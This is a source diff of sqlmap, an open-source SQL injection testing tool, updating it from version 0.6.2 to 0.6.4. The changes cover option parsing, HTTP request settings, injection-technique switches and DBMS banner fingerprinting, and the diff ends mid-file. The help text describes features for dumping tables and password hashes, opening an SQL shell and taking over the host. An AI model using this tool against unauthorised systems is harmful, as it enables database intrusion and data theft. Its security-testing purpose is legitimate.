@@ -159,7 +293,7 @@ def __setRemoteDBMS():
def __setThreads():
if conf.threads <= 0:
if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1
@@ -262,9 +396,6 @@ def __setHTTPMethod():
"""
if conf.method:
debugMsg = "setting the HTTP method to perform HTTP requests through"
logger.debug(debugMsg)
conf.method = conf.method.upper()
if conf.method not in ("GET", "POST"):
@@ -277,6 +408,28 @@ def __setHTTPMethod():
else:
conf.method = "GET"
debugMsg = "setting the HTTP method to %s" % conf.method
logger.debug(debugMsg)
def __setHTTPExtraHeaders():
if conf.headers:
debugMsg = "setting extra HTTP headers"
logger.debug(debugMsg)
conf.headers = conf.headers.split("\n")
for headerValue in conf.headers:
header, value = headerValue.split(": ")
if header and value:
conf.httpHeaders.append((header, value))
else:
conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"))
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent():
"""
@@ -376,6 +529,29 @@ def __setHTTPCookies():
conf.httpHeaders.append(("Cookie", conf.cookie))
def __setHTTPTimeout():
"""
Set the HTTP timeout
"""
if conf.timeout:
debugMsg = "setting the HTTP timeout"
logger.debug(debugMsg)
conf.timeout = float(conf.timeout)
if conf.timeout < 3.0:
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
warnMsg += "will going to reset it"
logger.warn(warnMsg)
conf.timeout = 3.0
else:
conf.timeout = 30.0
socket.setdefaulttimeout(conf.timeout)
def __cleanupOptions():
"""
Cleanup configuration attributes.
@@ -402,6 +578,12 @@ def __cleanupOptions():
if conf.user:
conf.user = conf.user.replace(" ", "")
if conf.delay:
conf.delay = float(conf.delay)
if conf.googleDork or conf.list:
conf.multipleTargets = True
def __setConfAttributes():
"""
@@ -412,20 +594,26 @@ def __setConfAttributes():
debugMsg = "initializing the configuration"
logger.debug(debugMsg)
conf.cj = None
conf.dbmsHandler = None
conf.dumpPath = None
conf.httpHeaders = []
conf.hostname = None
conf.loggedToOut = None
conf.outputPath = None
conf.paramDict = {}
conf.parameters = {}
conf.path = None
conf.port = None
conf.scheme = None
conf.sessionFP = None
conf.start = True
conf.cj = None
conf.dbmsHandler = None
conf.dumpPath = None
conf.httpHeaders = []
conf.hostname = None
conf.loggedToOut = None
conf.multipleTargets = False
conf.outputPath = None
conf.paramDict = {}
conf.parameters = {}
conf.paramNegative = False
conf.path = None
conf.port = None
conf.retries = 0
conf.scheme = None
#conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t")
conf.seqMatcher = difflib.SequenceMatcher(None)
conf.sessionFP = None
conf.start = True
conf.threadException = False
def __setKnowledgeBaseAttributes():
@@ -438,18 +626,22 @@ def __setKnowledgeBaseAttributes():
logger.debug(debugMsg)
kb.absFilePaths = set()
kb.defaultResult = None
kb.docRoot = None
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.bannerFp = {}
kb.headersCount = 0
kb.headersFp = {}
kb.htmlFp = []
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.resumedQueries = {}
kb.stackedTest = None
kb.targetUrls = set()
kb.timeTest = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
@@ -467,6 +659,7 @@ def __saveCmdline():
debugMsg = "saving command line options on a sqlmap configuration INI file"
logger.debug(debugMsg)
config = ConfigParser()
userOpts = {}
for family in optDict.keys():
@@ -477,10 +670,8 @@ def __saveCmdline():
if option in optionData:
userOpts[family].append((option, value, optionData[option]))
confFP = open(paths.SQLMAP_CONFIG, "w")
for family, optionData in userOpts.items():
confFP.write("[%s]\n" % family)
config.add_section(family)
optionData.sort()
@@ -488,20 +679,23 @@ def __saveCmdline():
if value == None:
if datatype == "boolean":
value = "False"
elif datatype == "integer":
if option == "threads":
elif datatype in ( "integer", "float" ):
if option in ( "threads", "verbose" ):
value = "1"
elif option == "timeout":
value = "10"
else:
value = "0"
elif datatype == "string":
value = ""
confFP.write("%s = %s\n" % (option, value))
if isinstance(value, str):
value = value.replace("\n", "\n ")
confFP.write("\n")
config.set(family, option, value)
confFP.flush()
confFP.close()
confFP = open(paths.SQLMAP_CONFIG, "wb")
config.write(confFP)
infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
logger.info(infoMsg)
@@ -512,13 +706,12 @@ def __setVerbosity():
This function set the verbosity of sqlmap output messages.
"""
if not conf.verbose:
conf.verbose = 0
return
if conf.verbose == None:
conf.verbose = 1
conf.verbose = int(conf.verbose)
if conf.verbose <= 1:
if conf.verbose == 1:
logger.setLevel(logging.INFO)
elif conf.verbose > 1 and conf.eta:
conf.verbose = 1
@@ -559,15 +752,19 @@ def init(inputOptions=advancedDict()):
__setConfAttributes()
__setKnowledgeBaseAttributes()
__cleanupOptions()
__setHTTPTimeout()
__setHTTPCookies()
__setHTTPReferer()
__setHTTPUserAgent()
__setHTTPExtraHeaders()
__setHTTPMethod()
__setHTTPAuthentication()
__setHTTPProxy()
__setThreads()
__setRemoteDBMS()
__setDBMS()
__setUnionTech()
__setGoogleDorking()
__setMultipleTargets()
__urllib2Opener()
update()

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -25,26 +25,46 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
optDict = {
# Family: { "parameter_name": "parameter_datatype",
"Request": {
# Family: { "parameter_name": "parameter_datatype" },
"Target": {
"url": "string",
"list": "string",
"googleDork": "string",
"testParameter": "string",
},
"Request": {
"method": "string",
"data": "string",
"cookie": "string",
"referer": "string",
"agent": "string",
"userAgentsFile": "string",
"headers": "string",
"aType": "string",
"aCred": "string",
"proxy": "string",
"threads": "integer",
"delay": "float",
"timeout": "float",
},
"Injection": {
"string": "string",
"testParameter": "string",
"dbms": "string",
"prefix": "string",
"postfix": "string",
"string": "string",
"regexp": "string",
"eString": "string",
"eRegexp": "string",
},
"Techniques": {
"stackedTest": "boolean",
"timeTest": "boolean",
"unionTest": "boolean",
"uTech": "string",
"unionUse": "boolean",
},
"Fingerprint": {
@@ -55,6 +75,7 @@ optDict = {
"getBanner": "boolean",
"getCurrentUser": "boolean",
"getCurrentDb": "boolean",
"isDba": "boolean",
"getUsers": "boolean",
"getPasswordHashes": "boolean",
"getPrivileges": "boolean",
@@ -84,8 +105,6 @@ optDict = {
},
"Miscellaneous": {
"unionTest": "boolean",
"unionUse": "boolean",
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -35,9 +35,9 @@ class ProgressBar:
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
self.__progBar = "[]"
self.__oldProgBar = ""
self.__min = minValue
self.__max = maxValue
self.__span = maxValue - minValue
self.__min = int(minValue)
self.__max = int(maxValue)
self.__span = self.__max - self.__min
self.__width = totalWidth
self.__amount = 0
self.update()

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -48,6 +48,20 @@ def setString():
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
def setRegexp():
"""
Save regular expression to match in session file.
"""
condition = (
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
not kb.resumedQueries[conf.url].has_key("Regular expression") )
)
if condition:
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
def setInjection():
"""
Save information retrieved about injection place and parameter in the
@@ -115,6 +129,8 @@ def setDbms(dbms):
kb.dbms = dbms
logger.info("the back-end DBMS is %s" % kb.dbms)
def setUnion(comment=None, count=None, position=None):
"""
@@ -178,6 +194,28 @@ def resumeConfKb(expression, url, value):
if not test or test[0] in ("y", "Y"):
conf.string = string
elif expression == "Regular expression" and url == conf.url:
regexp = value[:-1]
logMsg = "resuming regular expression match '%s' from session file" % regexp
logger.info(logMsg)
if regexp and ( not conf.regexp or regexp != conf.regexp ):
if not conf.regexp:
message = "you did not provide any regular expression "
message += "to match. "
else:
message = "The regular expression you provided does not "
message += "match the resumed regular expression. "
message += "Do you want to use the resumed regular expression "
message += "to be matched in page when the query "
message += "is valid? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
conf.regexp = regexp
elif expression == "Injection point" and url == conf.url:
injPlace = value[:-1]

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -30,7 +30,7 @@ import sys
# sqlmap version and site
VERSION = "0.6.2"
VERSION = "0.6.4"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
@@ -56,7 +56,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
MYSQL_ALIASES = [ "mysql", "my" ]
@@ -64,3 +64,51 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
# TODO: port to command line/configuration file options?
SECONDS = 5
RETRIES = 3
MATCH_RATIO = 0.9
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
" top ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL data definition": (
"create ",
"drop ",
"truncate ",
"alter ", ),
"SQL data manipulation": (
"insert ",
"update ",
"delete ",
"merge ", ),
"SQL data control": (
"grant ", ),
"SQL data execution": (
"exec ",
"execute ", ),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
}

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -54,6 +54,8 @@ def queriesForAutoCompletion():
autoComplQuery = query
elif isinstance(query, dict) and "inband" in query:
autoComplQuery = query["inband"]["query"]
else:
continue
autoComplQueries[autoComplQuery] = None

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -77,7 +77,9 @@ def __setRequestParams():
# Perform checks on Cookie parameters
if conf.cookie:
urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
# TODO: sure about decoding the cookie?
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
urlDecodedCookie = conf.cookie.replace("%", "%%")
conf.parameters["Cookie"] = urlDecodedCookie
__paramDict = paramToDict("Cookie", urlDecodedCookie)
@@ -197,6 +199,20 @@ def initTargetEnv():
Initialize target environment.
"""
if conf.multipleTargets:
conf.paramDict = {}
conf.parameters = {}
kb.dbms = None
kb.dbmsDetected = False
kb.dbmsVersion = None
kb.injParameter = None
kb.injPlace = None
kb.injType = None
kb.parenthesis = None
kb.unionComment = ""
kb.unionCount = None
kb.unionPosition = None
parseTargetUrl()
__setRequestParams()
__setOutputResume()

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -28,6 +28,7 @@ import difflib
import os
import re
import shutil
import sys
import tempfile
import urlparse
import zipfile
@@ -53,7 +54,7 @@ def __updateMSSQLXML():
logger.info(infoMsg)
try:
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
except sqlmapConnectionException, _:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1]
@@ -188,13 +189,8 @@ def __updateMSSQLXML():
logger.info(infoMsg)
# Compare the old XML file with the new one
differ = difflib.Differ()
differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList))
# Show only the different lines
for line in differences:
if line.startswith("-") or line.startswith("+") or line.startswith("?"):
print line.strip("\n")
diff = difflib.unified_diff(oldMssqlXmlList, newMssqlXmlList, "%s.bak" % paths.MSSQL_XML, paths.MSSQL_XML)
sys.stdout.writelines(diff)
else:
infoMsg = "no new Microsoft SQL Server versions since the "
infoMsg += "last update"
@@ -231,7 +227,7 @@ def __updateSqlmap():
logger.debug(debugMsg)
try:
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
sqlmapNewestVersion, _ = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
__sqlmapHostname = __sqlmapPath[1]
@@ -243,7 +239,6 @@ def __updateSqlmap():
return
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
sqlmapNewestVersion = "0.6.1"
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
errMsg = "sqlmap version is in a wrong syntax"
@@ -263,7 +258,7 @@ def __updateSqlmap():
logger.info(infoMsg)
elif sqlmapNewestVersion < VERSION:
infoMsg = "if you are running a version of sqlmap more updated than "
infoMsg = "you are running a version of sqlmap more updated than "
infoMsg += "the latest stable version (%s)" % sqlmapNewestVersion
logger.info(infoMsg)
@@ -272,7 +267,7 @@ def __updateSqlmap():
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
try:
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
sqlmapBinaryString, _ = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
except sqlmapConnectionException, _:
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
__sqlmapHostname = __sqlmapPath[1]

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -31,19 +31,20 @@ from xml.sax.handler import ContentHandler
from lib.core.common import checkFile
from lib.core.common import sanitizeStr
from lib.core.data import kb
from lib.core.data import paths
from lib.parse.handler import FingerprintHandler
class bannerHandler(ContentHandler):
class MSSQLBannerHandler(ContentHandler):
"""
This class defines methods to parse and extract information from
the given DBMS banner based upon the data in XML file
This class defines methods to parse and extract information from the
given Microsoft SQL Server banner based upon the data in XML file
"""
def __init__(self, banner):
self.__banner = sanitizeStr(banner)
self.release = None
self.version = None
self.servicePack = None
self.__inVersion = False
self.__inServicePack = False
self.__release = None
@@ -51,6 +52,15 @@ class bannerHandler(ContentHandler):
self.__servicePack = ""
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
kb.bannerFp[key] = value
def startElement(self, name, attrs):
if name == "signatures":
self.__release = sanitizeStr(attrs.get("release"))
@@ -72,9 +82,9 @@ class bannerHandler(ContentHandler):
def endElement(self, name):
if name == "signature":
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
self.release = self.__release
self.version = self.__version
self.servicePack = self.__servicePack
self.__feedInfo("dbmsRelease", self.__release)
self.__feedInfo("dbmsVersion", self.__version)
self.__feedInfo("dbmsServicePack", self.__servicePack)
self.__version = ""
self.__servicePack = ""
@@ -89,16 +99,30 @@ class bannerHandler(ContentHandler):
self.__servicePack = self.__servicePack.replace(" ", "")
def bannerParser(banner, xmlfile):
def bannerParser(banner):
"""
This function calls a class to extract information from the given
DBMS banner based upon the data in XML file
"""
checkFile(xmlfile)
banner = sanitizeStr(banner)
handler = bannerHandler(banner)
parse(xmlfile, handler)
if kb.dbms == "Microsoft SQL Server":
xmlfile = paths.MSSQL_XML
elif kb.dbms == "MySQL":
xmlfile = paths.MYSQL_XML
elif kb.dbms == "Oracle":
xmlfile = paths.ORACLE_XML
elif kb.dbms == "PostgreSQL":
xmlfile = paths.PGSQL_XML
return handler.release, handler.version, handler.servicePack
checkFile(xmlfile)
if kb.dbms == "Microsoft SQL Server":
handler = MSSQLBannerHandler(banner)
parse(xmlfile, handler)
handler = FingerprintHandler(banner, kb.bannerFp)
parse(paths.GENERIC_XML, handler)
else:
handler = FingerprintHandler(banner, kb.bannerFp)
parse(xmlfile, handler)
parse(paths.GENERIC_XML, handler)

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import sys
from optparse import OptionError
from optparse import OptionGroup
from optparse import OptionParser
@@ -37,23 +39,33 @@ def cmdLineParser():
This function parses the command line parameters and arguments
"""
usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}"
usage = "%s [options]" % sys.argv[0]
parser = OptionParser(usage=usage, version=VERSION_STRING)
try:
parser.add_option("-v", dest="verbose", type="int",
help="Verbosity level: 0-5 (default 1)")
# Target options
target = OptionGroup(parser, "Target", "At least one of these "
"options has to be specified to set the source "
"to get target urls from.")
target.add_option("-u", "--url", dest="url", help="Target url")
target.add_option("-l", dest="list", help="Parse targets from Burp "
"or WebScarab logs")
target.add_option("-g", dest="googleDork",
help="Process Google dork results as target urls")
target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
# Request options
request = OptionGroup(parser, "Request", "These options have to "
"be specified to set the target url, HTTP "
"method, how to connect to the target url "
"or Google dorking results in general.")
request.add_option("-u", "--url", dest="url", help="Target url")
request.add_option("-g", dest="googleDork",
help="Process Google dork results as target urls")
request.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
request = OptionGroup(parser, "Request", "These options can be used "
"to specify how to connect to the target url.")
request.add_option("--method", dest="method", default="GET",
help="HTTP method, GET or POST (default: GET)")
@@ -74,6 +86,9 @@ def cmdLineParser():
help="Load a random HTTP User-Agent "
"header from file")
request.add_option("--headers", dest="headers",
help="Extra HTTP headers '\\n' separated")
request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type, value: "
"Basic or Digest")
@@ -89,29 +104,95 @@ def cmdLineParser():
help="Maximum number of concurrent HTTP "
"requests (default 1)")
request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection "
"(default 30)")
# Injection options
injection = OptionGroup(parser, "Injection")
injection = OptionGroup(parser, "Injection", "These options can be "
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"how to parse and compare HTTP responses "
"page content when using the blind SQL "
"injection technique.")
injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
injection.add_option("--prefix", dest="prefix",
help="Injection payload prefix string")
injection.add_option("--postfix", dest="postfix",
help="Injection payload postfix string")
injection.add_option("--string", dest="string",
help="String to match in page when the "
"query is valid")
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
injection.add_option("--regexp", dest="regexp",
help="Regexp to match in page when the "
"query is valid")
injection.add_option("--excl-str", dest="eString",
help="String to be excluded before calculating "
"page hash")
injection.add_option("--excl-reg", dest="eRegexp",
help="Regexp matches to be excluded before "
"calculating page hash")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
"technique or to use one of them to exploit "
"the affected parameter(s) rather than using "
"the default blind SQL injection technique.")
techniques.add_option("--stacked-test", dest="stackedTest",
action="store_true",
help="Test for stacked queries (multiple "
"statements) support")
techniques.add_option("--time-test", dest="timeTest",
action="store_true",
help="Test for time based blind SQL injection")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION query (inband) SQL injection")
techniques.add_option("--union-tech", dest="uTech",
help="Technique to test for UNION query SQL injection")
techniques.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION query (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
action="store_true",
help="Perform an extensive database fingerprint")
help="Perform an extensive DBMS version fingerprint")
# Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database "
"management system information, structure "
"and data contained in the tables. Moreover "
"you can run your own SQL SELECT queries.")
"you can run your own SQL statements.")
enumeration.add_option("-b", "--banner", dest="getBanner",
action="store_true", help="Retrieve DBMS banner")
@@ -124,6 +205,10 @@ def cmdLineParser():
action="store_true",
help="Retrieve DBMS current database")
enumeration.add_option("--is-dba", dest="isDba",
action="store_true",
help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users")
@@ -143,11 +228,11 @@ def cmdLineParser():
enumeration.add_option("--columns", dest="getColumns", action="store_true",
help="Enumerate DBMS database table columns "
"(req: -T, -D)")
"(req:-T opt:-D)")
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
help="Dump DBMS database table entries "
"(req: -T, -D opt: -C, --start, --stop)")
"(req: -T, opt: -D, -C, --start, --stop)")
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
help="Dump all DBMS databases tables entries")
@@ -176,12 +261,13 @@ def cmdLineParser():
help="Last table entry to dump")
enumeration.add_option("--sql-query", dest="query",
help="SQL SELECT query to be executed")
help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell",
action="store_true",
help="Prompt for an interactive SQL shell")
# File system options
filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database "
@@ -195,6 +281,7 @@ def cmdLineParser():
filesystem.add_option("--write-file", dest="wFile",
help="Write to a specific OS file (not yet available)")
# Takeover options
takeover = OptionGroup(parser, "Operating system access", "This "
"option can be used to access the back-end "
@@ -208,27 +295,15 @@ def cmdLineParser():
"writable directory within the web "
"server document root for the moment)")
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
miscellaneous.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and "
"calculate the estimated time of arrival "
"in real time")
miscellaneous.add_option("-v", dest="verbose", type="int",
help="Verbosity level: 0-5 (default 0)")
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
help="Update sqlmap to the latest stable version")
@@ -236,17 +311,17 @@ def cmdLineParser():
help="Save and resume all data retrieved "
"on a session file")
miscellaneous.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
help="Save options on a configuration INI file")
miscellaneous.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behaviour")
parser.add_option_group(target)
parser.add_option_group(request)
parser.add_option_group(injection)
parser.add_option_group(techniques)
parser.add_option_group(fingerprint)
parser.add_option_group(enumeration)
parser.add_option_group(filesystem)
@@ -255,8 +330,8 @@ def cmdLineParser():
(args, _) = parser.parse_args()
if not args.url and not args.googleDork and not args.configFile and not args.updateAll:
errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), "
if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:
errMsg = "missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), "
errMsg += "-h for help"
parser.error(errMsg)

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
@@ -79,15 +79,18 @@ def configFileParser(configFile):
config = ConfigParser()
config.read(configFile)
if not config.has_section("Request"):
raise NoSectionError, "Request in the configuration file is mandatory"
if not config.has_section("Target"):
raise NoSectionError, "Target in the configuration file is mandatory"
if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"):
condition = not config.has_option("Target", "url")
condition &= not config.has_option("Target", "list")
condition &= not config.has_option("Target", "googleDork")
if condition:
errMsg = "missing a mandatory option in the configuration "
errMsg += "file (url or googleDork)"
errMsg += "file (url, list or googleDork)"
raise sqlmapMissingMandatoryOptionException, errMsg
for family, optionData in optDict.items():
for option, data in optionData.items():
boolean = False

96
lib/parse/handler.py Normal file
View File

@@ -0,0 +1,96 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from xml.sax.handler import ContentHandler
from lib.core.common import sanitizeStr
from lib.core.data import kb
class FingerprintHandler(ContentHandler):
"""
This class defines methods to parse and extract information from
the given DBMS banner based upon the data in XML file
"""
def __init__(self, banner, info):
self.__banner = sanitizeStr(banner)
self.__regexp = None
self.__match = None
self.__dbmsVersion = None
self.__techVersion = None
self.__info = info
def __feedInfo(self, key, value):
value = sanitizeStr(value)
if value in ( None, "None" ):
return
if key in ( "dbmsVersion" ):
